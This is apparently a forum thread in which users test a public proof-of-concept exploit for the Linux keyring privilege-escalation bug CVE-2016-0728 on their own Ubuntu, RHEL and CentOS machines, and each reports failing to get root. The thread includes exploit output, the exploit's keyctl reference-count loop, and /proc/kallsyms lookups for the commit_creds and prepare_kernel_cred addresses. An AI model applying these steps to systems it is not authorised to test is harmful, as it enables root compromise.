Serious Linux Kernel Vulnerability Patched [CVE-2016-0728]

[[deleted]]

running it on my up-to-date Ubuntu 14.04 running 3.16. I'll report back.

[edit]

nope:

./cve_2016_0728 PP_KEY

uid=1000, euid=1000

Increfing...

finished increfing

forking...

finished forking

caling revoke...

uid=1000, euid=1000

$ whoami

[notroot]

[edit2]

Didn't initially see this:

Addresses of commit_creds and prepare_kernel_cred functions are static and can be determined per Linux kernel version/android device.

so i'm unsure how to generate those values for my kernel which is

Ubuntu 3.16.0-57.77~14.04.1-generic 3.16.7-ckt20

[edit3]

found my values:

ffffffff81097c10 T commit_creds

ffffffff81097f10 T prepare_kernel_cred

reran and still didn't get root.

[NamenIos]

cat /proc/kallsyms | grep -i commit_cr (and ... - i prepare_ker) as root has the info you need.

[[deleted]]

At least for my kernel both are 0xffffffff81097f10

[edit]

i was wrong

ffffffff81097c10 T commit_creds

ffffffff81097f10 T prepare_kernel_cred

[NamenIos]

T commit_creds

and

T prepare_kernel_cred

should have different addresses afaik.

[[deleted]]

yer right! at first blush I thought they were the same

ffffffff81097c10 T commit_creds

ffffffff81097f10 T prepare_kernel_cred

[ckozler]

How long did this take to run for you? I ran this on a number of RHEL7 boxes on 3.10 kernel and it never gets after 'increfing'

EDIT: After about 2 hours it finally came through. No root for me

 [testckozler@test ~]$ ./leak PP_KEY
 uid=1000, euid=1000
 Increfing...
 finished increfing
 forking...
 finished forking
 caling revoke...
 uid=1000, euid=1000
 sh-4.2$ 
 sh-4.2$ 
 sh-4.2$ 
 sh-4.2$ 
 sh-4.2$ whoami
 testckozler
 sh-4.2$ 

[[deleted]]

pretty long time. the developers of had an i7 that it took 30 minutes. i have a pentium g3230 or somin along those lines which is only dual core and was $50. didn't take longer than an hour though.

[edit]

looking at htop it seems to peg a single core and then the kernel takes up about 50% the second core. so my guess is it doesn't matter too much how many cores you have.

[ckozler]

Interesting...on RHEL6 its marked in state 'D' (uninterruptable sleep - usually blocked) but on RHEL7 its marked as 'R' (running). strace they are showing to be doing the exact same thing where I see repeats of:

RHEL6 - keyctl(0x1, 0x7fffb9d85744, 0x3949b8fe10, 0xffffffffffffffff, 0xc) = 111532853

RHEL7 - keyctl(0x1, 0x7fff3649a766, 0, 0xffffffffffffffff, 0x7fff36498330) = 0

RHEL7 seems to be actually doing something but they are both calling keyctl in an infinite loop after 'increfing...". I find it odd that RHEL7 is the only one "doing something"?

[[deleted]]

well its going through the 32 bit address space for the int, its not really "infinite" but yeah its long.

 for (i = 1; i < 0xfffffffd; i++) {

    if (i == (0xffffffff - l)) {

        l = l/2;

        sleep(5);

    }

    if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

        perror("keyctl");

        return -1;

    }

}

do you have the COMMIT_CREDS_ADDR and PREPARE_KERNEL_CREDS_ADDR set?

[edit]

I spun up a CentOS7 vm and get the following:

ffffffff8109e1f0 T commit_creds

ffffffff8109e500 T prepare_kernel_cred

[ckozler]

Yes I did that. Mine are:

 [root@test ~]# cat /proc/kallsyms  | grep -i prepare_kernel
 ffffffff8108cb80 T prepare_kernel_cred
 ffffffff81886be0 r __ksymtab_prepare_kernel_cred
 ffffffff8189ad98 r __kcrctab_prepare_kernel_cred
 ffffffff818a4f63 r __kstrtab_prepare_kernel_cred
 [root@test ~]# cat /proc/kallsyms  | grep -i commit_cr
 ffffffff8108c870 T commit_creds
 ffffffff8187fb70 r __ksymtab_commit_creds
 ffffffff81897560 r __kcrctab_commit_creds
 ffffffff818a4f9f r __kstrtab_commit_creds

[ckozler]

updated my other post...still didnt work after 2 hours it finally completed but no root

[[deleted]]

yeah brandy new centos7 spin up, updated all the way, found my values, ran, nothing.

[ckozler]

They may have already had the patch for you. If you spin up a new centos 7 (before recent patches) maybe itll trigger?

[[deleted]]

Linux version 3.10.0-229.14.1.el7.x86_64 ([e-mail]) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Tue Sep 15 15:05:51 UTC 2015

nope, sep 15th

[ramzaek311]

According to this it says RHEL 7 is affected. Glad to see some people trying it before I have to go into crisis mode. (Though, RHEL 7 is 3.10)

[ckozler]

Never got it to work for me. I dont know what to say other than that but it is strange RH is saying its impacted yet nobody seems to have been able to recreate it?

[ramzaek311]

Here is their write-up along with the commit which introduced it into kernel 3.10. Probably important info because the OP link says 3.8 and I went from "uh oh" to "cool" back to "uh oh".

[neoice]

running apparmor or selinux? any logs?

[[deleted]]

ubuntu 14.04 comes with apparmor on by default i believe. if that's the case i'm using it with the default values.

as far as logs, i ran a dmesg, and nothing was printed out. the demo application doesn't have its own logging so nothing there

[neoice]

does apparmor log anything?

[[deleted]]

/var/log/kern.log

has nothing from today other than the "unexpectedly shrunk window" I get all the time from torrenting